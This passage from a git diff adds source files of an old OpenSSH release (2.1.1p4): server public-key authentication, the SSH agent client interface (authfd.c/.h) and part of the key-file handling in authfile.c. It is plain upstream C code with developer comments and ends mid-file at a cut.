packet_done(); + debug("test key..."); + /* test whether pkalg/pkblob are acceptable */ + /* XXX fake reply and always send PK_OK ? */ + /* + * XXX this allows testing whether a user is allowed + * to login: if you happen to have a valid pubkey this + * message is sent. the message is NEVER sent at all + * if a user is not allowed to login. is this an + * issue? -markus + */ + if (user_dsa_key_allowed(pw, key)) { + packet_start(SSH2_MSG_USERAUTH_PK_OK); + packet_put_string(pkalg, alen); + packet_put_string(pkblob, blen); + packet_send(); + packet_write_wait(); + authenticated = -1; + } + } + key_free(key); + } + xfree(pkalg); + xfree(pkblob); + return authenticated; +} + +/* set and get current user */ + +struct passwd* +auth_get_user(void) +{ + return (authctxt != NULL && authctxt->valid) ? &authctxt->pw : NULL; +} + +struct passwd* +auth_set_user(char *u, char *s) +{ + struct passwd *pw, *copy; + + if (authctxt == NULL) { + authctxt = xmalloc(sizeof(*authctxt)); + authctxt->valid = 0; + authctxt->user = xstrdup(u); + authctxt->service = xstrdup(s); + setproctitle("%s", u); + pw = getpwnam(u); + if (!pw || !allowed_user(pw)) { + log("auth_set_user: illegal user %s", u); + return NULL; + } +#ifdef USE_PAM + start_pam(pw); +#endif + copy = &authctxt->pw; + memset(copy, 0, sizeof(*copy)); + copy->pw_name = xstrdup(pw->pw_name); + copy->pw_passwd = xstrdup(pw->pw_passwd); + copy->pw_uid = pw->pw_uid; + copy->pw_gid = pw->pw_gid; + copy->pw_dir = xstrdup(pw->pw_dir); + copy->pw_shell = xstrdup(pw->pw_shell); + authctxt->valid = 1; + } else { + if (strcmp(u, authctxt->user) != 0 || + strcmp(s, authctxt->service) != 0) { + log("auth_set_user: missmatch: (%s,%s)!=(%s,%s)", + u, s, authctxt->user, authctxt->service); + return NULL; + } + } + return auth_get_user(); +} + +/* return 1 if user allows given key */ +int +user_dsa_key_allowed(struct passwd *pw, Key *key) +{ + char line[8192], file[1024]; + int found_key = 0; + unsigned int bits = -1; + FILE *f; + unsigned long linenum = 0; + struct stat st; + Key *found; + + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw->pw_uid); + + /* The authorized keys. */ + snprintf(file, sizeof file, "%.500s/%.100s", pw->pw_dir, + SSH_USER_PERMITTED_KEYS2); + + /* Fail quietly if file does not exist */ + if (stat(file, &st) < 0) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + /* Open the file containing the authorized keys. */ + f = fopen(file, "r"); + if (!f) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + if (options.strict_modes) { + int fail = 0; + char buf[1024]; + /* Check open file in order to avoid open/stat races */ + if (fstat(fileno(f), &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, "DSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", pw->pw_name, file); + fail = 1; + } else { + /* Check path to SSH_USER_PERMITTED_KEYS */ + int i; + static const char *check[] = { + "", SSH_USER_DIR, NULL + }; + for (i = 0; check[i]; i++) { + snprintf(line, sizeof line, "%.500s/%.100s", + pw->pw_dir, check[i]); + if (stat(line, &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, + "DSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", + pw->pw_name, line); + fail = 1; + break; + } + } + } + if (fail) { + fclose(f); + log("%s",buf); + restore_uid(); + return 0; + } + } + found_key = 0; + found = key_new(KEY_DSA); + + while (fgets(line, sizeof(line), f)) { + char *cp, *options = NULL; + linenum++; + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue; + + bits = key_read(found, &cp); + if (bits == 0) { + /* no key? check if there are options for this key */ + int quoted = 0; + options = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + /* Skip remaining whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + bits = key_read(found, &cp); + if (bits == 0) { + /* still no key? advance to next line*/ + continue; + } + } + if (key_equal(found, key) && + auth_parse_options(pw, options, linenum) == 1) { + found_key = 1; + debug("matching key found: file %s, line %ld", + file, linenum); + break; + } + } + restore_uid(); + fclose(f); + key_free(found); + return found_key; +} diff --git a/other/openssh-2.1.1p4/authfd.c b/other/openssh-2.1.1p4/authfd.c new file mode 100644 index 0000000..69fe2ae --- /dev/null +++ b/other/openssh-2.1.1p4/authfd.c @@ -0,0 +1,498 @@ +/* + * + * authfd.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 01:30:28 1995 ylo + * + * Functions for connecting the local authentication agent. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: authfd.c,v 1.21 2000/06/26 09:22:29 markus Exp $"); + +#include "ssh.h" +#include "rsa.h" +#include "authfd.h" +#include "buffer.h" +#include "bufaux.h" +#include "xmalloc.h" +#include "getput.h" + +#include + +/* helper */ +int ssh_agent_get_reply(AuthenticationConnection *auth); + +/* Returns the number of the authentication fd, or -1 if there is none. */ + +int +ssh_get_authentication_socket() +{ + const char *authsocket; + int sock; + struct sockaddr_un sunaddr; + + authsocket = getenv(SSH_AUTHSOCKET_ENV_NAME); + if (!authsocket) + return -1; + + sunaddr.sun_family = AF_UNIX; + strlcpy(sunaddr.sun_path, authsocket, sizeof(sunaddr.sun_path)); + + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + return -1; + + /* close on exec */ + if (fcntl(sock, F_SETFD, 1) == -1) { + close(sock); + return -1; + } + if (connect(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) { + close(sock); + return -1; + } + return sock; +} + +/* + * Closes the agent socket if it should be closed (depends on how it was + * obtained). The argument must have been returned by + * ssh_get_authentication_socket(). + */ + +void +ssh_close_authentication_socket(int sock) +{ + if (getenv(SSH_AUTHSOCKET_ENV_NAME)) + close(sock); +} + +/* + * Opens and connects a private socket for communication with the + * authentication agent. Returns the file descriptor (which must be + * shut down and closed by the caller when no longer needed). + * Returns NULL if an error occurred and the connection could not be + * opened. + */ + +AuthenticationConnection * +ssh_get_authentication_connection() +{ + AuthenticationConnection *auth; + int sock; + + sock = ssh_get_authentication_socket(); + + /* + * Fail if we couldn't obtain a connection. This happens if we + * exited due to a timeout. + */ + if (sock < 0) + return NULL; + + auth = xmalloc(sizeof(*auth)); + auth->fd = sock; + buffer_init(&auth->packet); + buffer_init(&auth->identities); + auth->howmany = 0; + + return auth; +} + +/* + * Closes the connection to the authentication agent and frees any associated + * memory. + */ + +void +ssh_close_authentication_connection(AuthenticationConnection *ac) +{ + buffer_free(&ac->packet); + buffer_free(&ac->identities); + close(ac->fd); + xfree(ac); +} + +/* + * Returns the first authentication identity held by the agent. + * Returns true if an identity is available, 0 otherwise. + * The caller must initialize the integers before the call, and free the + * comment after a successful call (before calling ssh_get_next_identity). + */ + +int +ssh_get_first_identity(AuthenticationConnection *auth, + BIGNUM *e, BIGNUM *n, char **comment) +{ + unsigned char msg[8192]; + int len, l; + + /* + * Send a message to the agent requesting for a list of the + * identities it can represent. + */ + msg[0] = 0; + msg[1] = 0; + msg[2] = 0; + msg[3] = 1; + msg[4] = SSH_AGENTC_REQUEST_RSA_IDENTITIES; + if (atomicio(write, auth->fd, msg, 5) != 5) { + error("write auth->fd: %.100s", strerror(errno)); + return 0; + } + /* Read the length of the response. XXX implement timeouts here. */ + len = 4; + while (len > 0) { + l = read(auth->fd, msg + 4 - len, len); + if (l <= 0) { + error("read auth->fd: %.100s", strerror(errno)); + return 0; + } + len -= l; + } + + /* + * Extract the length, and check it for sanity. (We cannot trust + * authentication agents). + */ + len = GET_32BIT(msg); + if (len < 1 || len > 256 * 1024) + fatal("Authentication reply message too long: %d\n", len); + + /* Read the packet itself. */ + buffer_clear(&auth->identities); + while (len > 0) { + l = len; + if (l > sizeof(msg)) + l = sizeof(msg); + l = read(auth->fd, msg, l); + if (l <= 0) + fatal("Incomplete authentication reply."); + buffer_append(&auth->identities, (char *) msg, l); + len -= l; + } + + /* Get message type, and verify that we got a proper answer. */ + buffer_get(&auth->identities, (char *) msg, 1); + if (msg[0] != SSH_AGENT_RSA_IDENTITIES_ANSWER) + fatal("Bad authentication reply message type: %d", msg[0]); + + /* Get the number of entries in the response and check it for sanity. */ + auth->howmany = buffer_get_int(&auth->identities); + if (auth->howmany > 1024) + fatal("Too many identities in authentication reply: %d\n", auth->howmany); + + /* Return the first entry (if any). */ + return ssh_get_next_identity(auth, e, n, comment); +} + +/* + * Returns the next authentication identity for the agent. Other functions + * can be called between this and ssh_get_first_identity or two calls of this + * function. This returns 0 if there are no more identities. The caller + * must free comment after a successful return. + */ + +int +ssh_get_next_identity(AuthenticationConnection *auth, + BIGNUM *e, BIGNUM *n, char **comment) +{ + unsigned int bits; + + /* Return failure if no more entries. */ + if (auth->howmany <= 0) + return 0; + + /* + * Get the next entry from the packet. These will abort with a fatal + * error if the packet is too short or contains corrupt data. + */ + bits = buffer_get_int(&auth->identities); + buffer_get_bignum(&auth->identities, e); + buffer_get_bignum(&auth->identities, n); + *comment = buffer_get_string(&auth->identities, NULL); + + if (bits != BN_num_bits(n)) + log("Warning: identity keysize mismatch: actual %d, announced %u", + BN_num_bits(n), bits); + + /* Decrement the number of remaining entries. */ + auth->howmany--; + + return 1; +} + +/* + * Generates a random challenge, sends it to the agent, and waits for + * response from the agent. Returns true (non-zero) if the agent gave the + * correct answer, zero otherwise. Response type selects the style of + * response desired, with 0 corresponding to protocol version 1.0 (no longer + * supported) and 1 corresponding to protocol version 1.1. + */ + +int +ssh_decrypt_challenge(AuthenticationConnection *auth, + BIGNUM* e, BIGNUM *n, BIGNUM *challenge, + unsigned char session_id[16], + unsigned int response_type, + unsigned char response[16]) +{ + Buffer buffer; + unsigned char buf[8192]; + int len, l, i; + + /* Response type 0 is no longer supported. */ + if (response_type == 0) + fatal("Compatibility with ssh protocol version 1.0 no longer supported."); + + /* Format a message to the agent. */ + buf[0] = SSH_AGENTC_RSA_CHALLENGE; + buffer_init(&buffer); + buffer_append(&buffer, (char *) buf, 1); + buffer_put_int(&buffer, BN_num_bits(n)); + buffer_put_bignum(&buffer, e); + buffer_put_bignum(&buffer, n); + buffer_put_bignum(&buffer, challenge); + buffer_append(&buffer, (char *) session_id, 16); + buffer_put_int(&buffer, response_type); + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(&buffer); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(&buffer), + buffer_len(&buffer)) != buffer_len(&buffer)) { + error("Error writing to authentication socket."); +error_cleanup: + buffer_free(&buffer); + return 0; + } + /* + * Wait for response from the agent. First read the length of the + * response packet. + */ + len = 4; + while (len > 0) { + l = read(auth->fd, buf + 4 - len, len); + if (l <= 0) { + error("Error reading response length from authentication socket."); + goto error_cleanup; + } + len -= l; + } + + /* Extract the length, and check it for sanity. */ + len = GET_32BIT(buf); + if (len > 256 * 1024) + fatal("Authentication response too long: %d", len); + + /* Read the rest of the response in tothe buffer. */ + buffer_clear(&buffer); + while (len > 0) { + l = len; + if (l > sizeof(buf)) + l = sizeof(buf); + l = read(auth->fd, buf, l); + if (l <= 0) { + error("Error reading response from authentication socket."); + goto error_cleanup; + } + buffer_append(&buffer, (char *) buf, l); + len -= l; + } + + /* Get the type of the packet. */ + buffer_get(&buffer, (char *) buf, 1); + + /* Check for agent failure message. */ + if (buf[0] == SSH_AGENT_FAILURE) { + log("Agent admitted failure to authenticate using the key."); + goto error_cleanup; + } + /* Now it must be an authentication response packet. */ + if (buf[0] != SSH_AGENT_RSA_RESPONSE) + fatal("Bad authentication response: %d", buf[0]); + + /* + * Get the response from the packet. This will abort with a fatal + * error if the packet is corrupt. + */ + for (i = 0; i < 16; i++) + response[i] = buffer_get_char(&buffer); + + /* The buffer containing the packet is no longer needed. */ + buffer_free(&buffer); + + /* Correct answer. */ + return 1; +} + +/* + * Adds an identity to the authentication server. This call is not meant to + * be used by normal applications. + */ + +int +ssh_add_identity(AuthenticationConnection *auth, + RSA * key, const char *comment) +{ + Buffer buffer; + unsigned char buf[8192]; + int len; + + /* Format a message to the agent. */ + buffer_init(&buffer); + buffer_put_char(&buffer, SSH_AGENTC_ADD_RSA_IDENTITY); + buffer_put_int(&buffer, BN_num_bits(key->n)); + buffer_put_bignum(&buffer, key->n); + buffer_put_bignum(&buffer, key->e); + buffer_put_bignum(&buffer, key->d); + /* To keep within the protocol: p < q for ssh. in SSL p > q */ + buffer_put_bignum(&buffer, key->iqmp); /* ssh key->u */ + buffer_put_bignum(&buffer, key->q); /* ssh key->p, SSL key->q */ + buffer_put_bignum(&buffer, key->p); /* ssh key->q, SSL key->p */ + buffer_put_string(&buffer, comment, strlen(comment)); + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(&buffer); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(&buffer), + buffer_len(&buffer)) != buffer_len(&buffer)) { + error("Error writing to authentication socket."); + buffer_free(&buffer); + return 0; + } + buffer_free(&buffer); + return ssh_agent_get_reply(auth); +} + +/* + * Removes an identity from the authentication server. This call is not + * meant to be used by normal applications. + */ + +int +ssh_remove_identity(AuthenticationConnection *auth, RSA *key) +{ + Buffer buffer; + unsigned char buf[5]; + int len; + + /* Format a message to the agent. */ + buffer_init(&buffer); + buffer_put_char(&buffer, SSH_AGENTC_REMOVE_RSA_IDENTITY); + buffer_put_int(&buffer, BN_num_bits(key->n)); + buffer_put_bignum(&buffer, key->e); + buffer_put_bignum(&buffer, key->n); + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(&buffer); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(&buffer), + buffer_len(&buffer)) != buffer_len(&buffer)) { + error("Error writing to authentication socket."); + buffer_free(&buffer); + return 0; + } + buffer_free(&buffer); + return ssh_agent_get_reply(auth); +} + +/* + * Removes all identities from the agent. This call is not meant to be used + * by normal applications. + */ + +int +ssh_remove_all_identities(AuthenticationConnection *auth) +{ + unsigned char buf[5]; + + /* Get the length of the message, and format it in the buffer. */ + PUT_32BIT(buf, 1); + buf[4] = SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES; + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 5) != 5) { + error("Error writing to authentication socket."); + return 0; + } + return ssh_agent_get_reply(auth); +} + +/* + * Read for reply from agent. returns 1 for success, 0 on error + */ + +int +ssh_agent_get_reply(AuthenticationConnection *auth) +{ + Buffer buffer; + unsigned char buf[8192]; + int len, l, type; + + /* + * Wait for response from the agent. First read the length of the + * response packet. + */ + len = 4; + while (len > 0) { + l = read(auth->fd, buf + 4 - len, len); + if (l <= 0) { + error("Error reading response length from authentication socket."); + buffer_free(&buffer); + return 0; + } + len -= l; + } + + /* Extract the length, and check it for sanity. */ + len = GET_32BIT(buf); + if (len > 256 * 1024) + fatal("Response from agent too long: %d", len); + + /* Read the rest of the response in to the buffer. */ + buffer_init(&buffer); + while (len > 0) { + l = len; + if (l > sizeof(buf)) + l = sizeof(buf); + l = read(auth->fd, buf, l); + if (l <= 0) { + error("Error reading response from authentication socket."); + buffer_free(&buffer); + return 0; + } + buffer_append(&buffer, (char *) buf, l); + len -= l; + } + + /* Get the type of the packet. */ + type = buffer_get_char(&buffer); + buffer_free(&buffer); + switch (type) { + case SSH_AGENT_FAILURE: + return 0; + case SSH_AGENT_SUCCESS: + return 1; + default: + fatal("Bad response from authentication agent: %d", type); + } + /* NOTREACHED */ + return 0; +} diff --git a/other/openssh-2.1.1p4/authfd.h b/other/openssh-2.1.1p4/authfd.h new file mode 100644 index 0000000..d7ff4be --- /dev/null +++ b/other/openssh-2.1.1p4/authfd.h @@ -0,0 +1,119 @@ +/* + * + * authfd.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Wed Mar 29 01:17:41 1995 ylo + * + * Functions to interface with the SSH_AUTHENTICATION_FD socket. + * + */ + +/* RCSID("$OpenBSD: authfd.h,v 1.8 2000/06/20 01:39:38 markus Exp $"); */ + +#ifndef AUTHFD_H +#define AUTHFD_H + +#include "buffer.h" + +/* Messages for the authentication agent connection. */ +#define SSH_AGENTC_REQUEST_RSA_IDENTITIES 1 +#define SSH_AGENT_RSA_IDENTITIES_ANSWER 2 +#define SSH_AGENTC_RSA_CHALLENGE 3 +#define SSH_AGENT_RSA_RESPONSE 4 +#define SSH_AGENT_FAILURE 5 +#define SSH_AGENT_SUCCESS 6 +#define SSH_AGENTC_ADD_RSA_IDENTITY 7 +#define SSH_AGENTC_REMOVE_RSA_IDENTITY 8 +#define SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES 9 + +typedef struct { + int fd; + Buffer packet; + Buffer identities; + int howmany; +} AuthenticationConnection; +/* Returns the number of the authentication fd, or -1 if there is none. */ +int ssh_get_authentication_socket(); + +/* + * This should be called for any descriptor returned by + * ssh_get_authentication_socket(). Depending on the way the descriptor was + * obtained, this may close the descriptor. + */ +void ssh_close_authentication_socket(int authfd); + +/* + * Opens and connects a private socket for communication with the + * authentication agent. Returns NULL if an error occurred and the + * connection could not be opened. The connection should be closed by the + * caller by calling ssh_close_authentication_connection(). + */ +AuthenticationConnection *ssh_get_authentication_connection(); + +/* + * Closes the connection to the authentication agent and frees any associated + * memory. + */ +void ssh_close_authentication_connection(AuthenticationConnection * ac); + +/* + * Returns the first authentication identity held by the agent. Returns true + * if an identity is available, 0 otherwise. The caller must initialize the + * integers before the call, and free the comment after a successful call + * (before calling ssh_get_next_identity). + */ +int +ssh_get_first_identity(AuthenticationConnection * connection, + BIGNUM * e, BIGNUM * n, char **comment); + +/* + * Returns the next authentication identity for the agent. Other functions + * can be called between this and ssh_get_first_identity or two calls of this + * function. This returns 0 if there are no more identities. The caller + * must free comment after a successful return. + */ +int +ssh_get_next_identity(AuthenticationConnection * connection, + BIGNUM * e, BIGNUM * n, char **comment); + +/* Requests the agent to decrypt the given challenge. Returns true if + the agent claims it was able to decrypt it. */ +int +ssh_decrypt_challenge(AuthenticationConnection * auth, + BIGNUM * e, BIGNUM * n, BIGNUM * challenge, + unsigned char session_id[16], + unsigned int response_type, + unsigned char response[16]); + +/* + * Adds an identity to the authentication server. This call is not meant to + * be used by normal applications. This returns true if the identity was + * successfully added. + */ +int +ssh_add_identity(AuthenticationConnection * connection, RSA * key, + const char *comment); + +/* + * Removes the identity from the authentication server. This call is not + * meant to be used by normal applications. This returns true if the + * identity was successfully added. + */ +int ssh_remove_identity(AuthenticationConnection * connection, RSA * key); + +/* + * Removes all identities from the authentication agent. This call is not + * meant to be used by normal applications. This returns true if the + * operation was successful. + */ +int ssh_remove_all_identities(AuthenticationConnection * connection); + +/* Closes the connection to the authentication agent. */ +void ssh_close_authentication(AuthenticationConnection * connection); + +#endif /* AUTHFD_H */ diff --git a/other/openssh-2.1.1p4/authfile.c b/other/openssh-2.1.1p4/authfile.c new file mode 100644 index 0000000..71c4a5d --- /dev/null +++ b/other/openssh-2.1.1p4/authfile.c @@ -0,0 +1,493 @@ +/* + * + * authfile.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 27 03:52:05 1995 ylo + * + * This file contains functions for reading and writing identity files, and + * for reading the passphrase from the user. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: authfile.c,v 1.17 2000/06/20 01:39:38 markus Exp $"); + +#include +#include +#include +#include +#include + +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "cipher.h" +#include "ssh.h" +#include "key.h" + +/* Version identification string for identity files. */ +#define AUTHFILE_ID_STRING "SSH PRIVATE KEY FILE FORMAT 1.1\n" + +/* + * Saves the authentication (private) key in a file, encrypting it with + * passphrase. The identification of the file (lowest 64 bits of n) will + * precede the key to provide identification of the key without needing a + * passphrase. + */ + +int +save_private_key_rsa(const char *filename, const char *passphrase, + RSA *key, const char *comment) +{ + Buffer buffer, encrypted; + char buf[100], *cp; + int fd, i; + CipherContext cipher; + int cipher_type; + u_int32_t rand; + + /* + * If the passphrase is empty, use SSH_CIPHER_NONE to ease converting + * to another cipher; otherwise use SSH_AUTHFILE_CIPHER. + */ + if (strcmp(passphrase, "") == 0) + cipher_type = SSH_CIPHER_NONE; + else + cipher_type = SSH_AUTHFILE_CIPHER; + + /* This buffer is used to built the secret part of the private key. */ + buffer_init(&buffer); + + /* Put checkbytes for checking passphrase validity. */ + rand = arc4random(); + buf[0] = rand & 0xff; + buf[1] = (rand >> 8) & 0xff; + buf[2] = buf[0]; + buf[3] = buf[1]; + buffer_append(&buffer, buf, 4); + + /* + * Store the private key (n and e will not be stored because they + * will be stored in plain text, and storing them also in encrypted + * format would just give known plaintext). + */ + buffer_put_bignum(&buffer, key->d); + buffer_put_bignum(&buffer, key->iqmp); + buffer_put_bignum(&buffer, key->q); /* reverse from SSL p */ + buffer_put_bignum(&buffer, key->p); /* reverse from SSL q */ + + /* Pad the part to be encrypted until its size is a multiple of 8. */ + while (buffer_len(&buffer) % 8 != 0) + buffer_put_char(&buffer, 0); + + /* This buffer will be used to contain the data in the file. */ + buffer_init(&encrypted); + + /* First store keyfile id string. */ + cp = AUTHFILE_ID_STRING; + for (i = 0; cp[i]; i++) + buffer_put_char(&encrypted, cp[i]); + buffer_put_char(&encrypted, 0); + + /* Store cipher type. */ + buffer_put_char(&encrypted, cipher_type); + buffer_put_int(&encrypted, 0); /* For future extension */ + + /* Store public key. This will be in plain text. */ + buffer_put_int(&encrypted, BN_num_bits(key->n)); + buffer_put_bignum(&encrypted, key->n); + buffer_put_bignum(&encrypted, key->e); + buffer_put_string(&encrypted, comment, strlen(comment)); + + /* Allocate space for the private part of the key in the buffer. */ + buffer_append_space(&encrypted, &cp, buffer_len(&buffer)); + + cipher_set_key_string(&cipher, cipher_type, passphrase); + cipher_encrypt(&cipher, (unsigned char *) cp, + (unsigned char *) buffer_ptr(&buffer), + buffer_len(&buffer)); + memset(&cipher, 0, sizeof(cipher)); + + /* Destroy temporary data. */ + memset(buf, 0, sizeof(buf)); + buffer_free(&buffer); + + fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) + return 0; + if (write(fd, buffer_ptr(&encrypted), buffer_len(&encrypted)) != + buffer_len(&encrypted)) { + debug("Write to key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&encrypted); + close(fd); + remove(filename); + return 0; + } + close(fd); + buffer_free(&encrypted); + return 1; +} + +/* save DSA key in OpenSSL PEM format */ + +int +save_private_key_dsa(const char *filename, const char *passphrase, + DSA *dsa, const char *comment) +{ + FILE *fp; + int fd; + int success = 1; + int len = strlen(passphrase); + + if (len > 0 && len <= 4) { + error("passphrase too short: %d bytes", len); + errno = 0; + return 0; + } + fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + debug("open %s failed", filename); + return 0; + } + fp = fdopen(fd, "w"); + if (fp == NULL ) { + debug("fdopen %s failed", filename); + close(fd); + return 0; + } + if (len > 0) { + if (!PEM_write_DSAPrivateKey(fp, dsa, EVP_des_ede3_cbc(), + (char *)passphrase, strlen(passphrase), NULL, NULL)) + success = 0; + } else { + if (!PEM_write_DSAPrivateKey(fp, dsa, NULL, + NULL, 0, NULL, NULL)) + success = 0; + } + fclose(fp); + return success; +} + +int +save_private_key(const char *filename, const char *passphrase, Key *key, + const char *comment) +{ + switch (key->type) { + case KEY_RSA: + return save_private_key_rsa(filename, passphrase, key->rsa, comment); + break; + case KEY_DSA: + return save_private_key_dsa(filename, passphrase, key->dsa, comment); + break; + default: + break; + } + return 0; +} + +/* + * Loads the public part of the key file. Returns 0 if an error was + * encountered (the file does not exist or is not readable), and non-zero + * otherwise. + */ + +int +load_public_key_rsa(const char *filename, RSA * pub, char **comment_return) +{ + int fd, i; + off_t len; + Buffer buffer; + char *cp; + + fd = open(filename, O_RDONLY); + if (fd < 0) + return 0; + len = lseek(fd, (off_t) 0, SEEK_END); + lseek(fd, (off_t) 0, SEEK_SET); + + buffer_init(&buffer); + buffer_append_space(&buffer, &cp, len); + + if (read(fd, cp, (size_t) len) != (size_t) len) { + debug("Read from key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&buffer); + close(fd); + return 0; + } + close(fd); + + /* Check that it is at least big enought to contain the ID string. */ + if (len < strlen(AUTHFILE_ID_STRING) + 1) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* + * Make sure it begins with the id string. Consume the id string + * from the buffer. + */ + for (i = 0; i < (unsigned int) strlen(AUTHFILE_ID_STRING) + 1; i++) + if (buffer_get_char(&buffer) != (u_char) AUTHFILE_ID_STRING[i]) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* Skip cipher type and reserved data. */ + (void) buffer_get_char(&buffer); /* cipher type */ + (void) buffer_get_int(&buffer); /* reserved */ + + /* Read the public key from the buffer. */ + buffer_get_int(&buffer); + /* XXX alloc */ + if (pub->n == NULL) + pub->n = BN_new(); + buffer_get_bignum(&buffer, pub->n); + /* XXX alloc */ + if (pub->e == NULL) + pub->e = BN_new(); + buffer_get_bignum(&buffer, pub->e); + if (comment_return) + *comment_return = buffer_get_string(&buffer, NULL); + /* The encrypted private part is not parsed by this function. */ + + buffer_free(&buffer); + + return 1; +} + +int +load_public_key(const char *filename, Key * key, char **comment_return) +{ + switch (key->type) { + case KEY_RSA: + return load_public_key_rsa(filename, key->rsa, comment_return); + break; + case KEY_DSA: + default: + break; + } + return 0; +} + +/* + * Loads the private key from the file. Returns 0 if an error is encountered + * (file does not exist or is not readable, or passphrase is bad). This + * initializes the private key. + * Assumes we are called under uid of the owner of the file. + */ + +int +load_private_key_rsa(int fd, const char *filename, + const char *passphrase, RSA * prv, char **comment_return) +{ + int i, check1, check2, cipher_type; + off_t len; + Buffer buffer, decrypted; + char *cp; + CipherContext cipher; + BN_CTX *ctx; + BIGNUM *aux; + + len = lseek(fd, (off_t) 0, SEEK_END); + lseek(fd, (off_t) 0, SEEK_SET); + + buffer_init(&buffer); + buffer_append_space(&buffer, &cp, len); + + if (read(fd, cp, (size_t) len) != (size_t) len) { + debug("Read from key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&buffer); + close(fd); + return 0; + } + close(fd); + + /* Check that it is at least big enought to contain the ID string. */ + if (len < strlen(AUTHFILE_ID_STRING) + 1) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* + * Make sure it begins with the id string. Consume the id string + * from the buffer. + */ + for (i = 0; i < (unsigned int) strlen(AUTHFILE_ID_STRING) + 1; i++) + if (buffer_get_char(&buffer) != (unsigned char) AUTHFILE_ID_STRING[i]) { + debug("Bad key file %.200s.", filename); + buffer_free(&buffer); + return 0; + } + /* Read cipher type. */ + cipher_type = buffer_get_char(&buffer); + (void) buffer_get_int(&buffer); /* Reserved data. */ + + /* Read the public key from the buffer. */ + buffer_get_int(&buffer); + prv->n = BN_new(); + buffer_get_bignum(&buffer, prv->n); + prv->e = BN_new(); + buffer_get_bignum(&buffer, prv->e); + if (comment_return) + *comment_return = buffer_get_string(&buffer, NULL); + else + xfree(buffer_get_string(&buffer, NULL)); + + /* Check that it is a supported cipher. */ + if (((cipher_mask1() | SSH_CIPHER_NONE | SSH_AUTHFILE_CIPHER) & + (1 << cipher_type)) == 0) { + debug("Unsupported cipher %.100s used in key file %.200s.", + cipher_name(cipher_type), filename); + buffer_free(&buffer); + goto fail; + } + /* Initialize space for decrypted data. */ + buffer_init(&decrypted); + buffer_append_space(&decrypted, &cp, buffer_len(&buffer)); + + /* Rest of the buffer is encrypted. Decrypt it using the passphrase. */ + cipher_set_key_string(&cipher, cipher_type, passphrase); + cipher_decrypt(&cipher, (unsigned char *) cp, + (unsigned char *) buffer_ptr(&buffer), + buffer_len(&buffer)); + + buffer_free(&buffer); + + check1 = buffer_get_char(&decrypted); + check2 = buffer_get_char(&decrypted); + if (check1 != buffer_get_char(&decrypted) || + check2 != buffer_get_char(&decrypted)) { + if (strcmp(passphrase, "") != 0) + debug("Bad passphrase supplied for key file %.200s.", filename); + /* Bad passphrase. */ + buffer_free(&decrypted); +fail: + BN_clear_free(prv->n); + prv->n = NULL; + BN_clear_free(prv->e); + prv->e = NULL; + if (comment_return) + xfree(*comment_return); + return 0; + } + /* Read the rest of the private key. */ + prv->d = BN_new(); + buffer_get_bignum(&decrypted, prv->d); + prv->iqmp = BN_new(); + buffer_get_bignum(&decrypted, prv->iqmp); /* u */ + /* in SSL and SSH p and q are exchanged */ + prv->q = BN_new(); + buffer_get_bignum(&decrypted, prv->q); /* p */ + prv->p = BN_new(); + buffer_get_bignum(&decrypted, prv->p); /* q */ + + ctx = BN_CTX_new(); + aux = BN_new(); + + BN_sub(aux, prv->q, BN_value_one()); + prv->dmq1 = BN_new(); + BN_mod(prv->dmq1, prv->d, aux, ctx); + + BN_sub(aux, prv->p, BN_value_one()); + prv->dmp1 = BN_new(); + BN_mod(prv->dmp1, prv->d, aux, ctx); + + BN_clear_free(aux); + BN_CTX_free(ctx); + + buffer_free(&decrypted); + + return 1; +} + +int 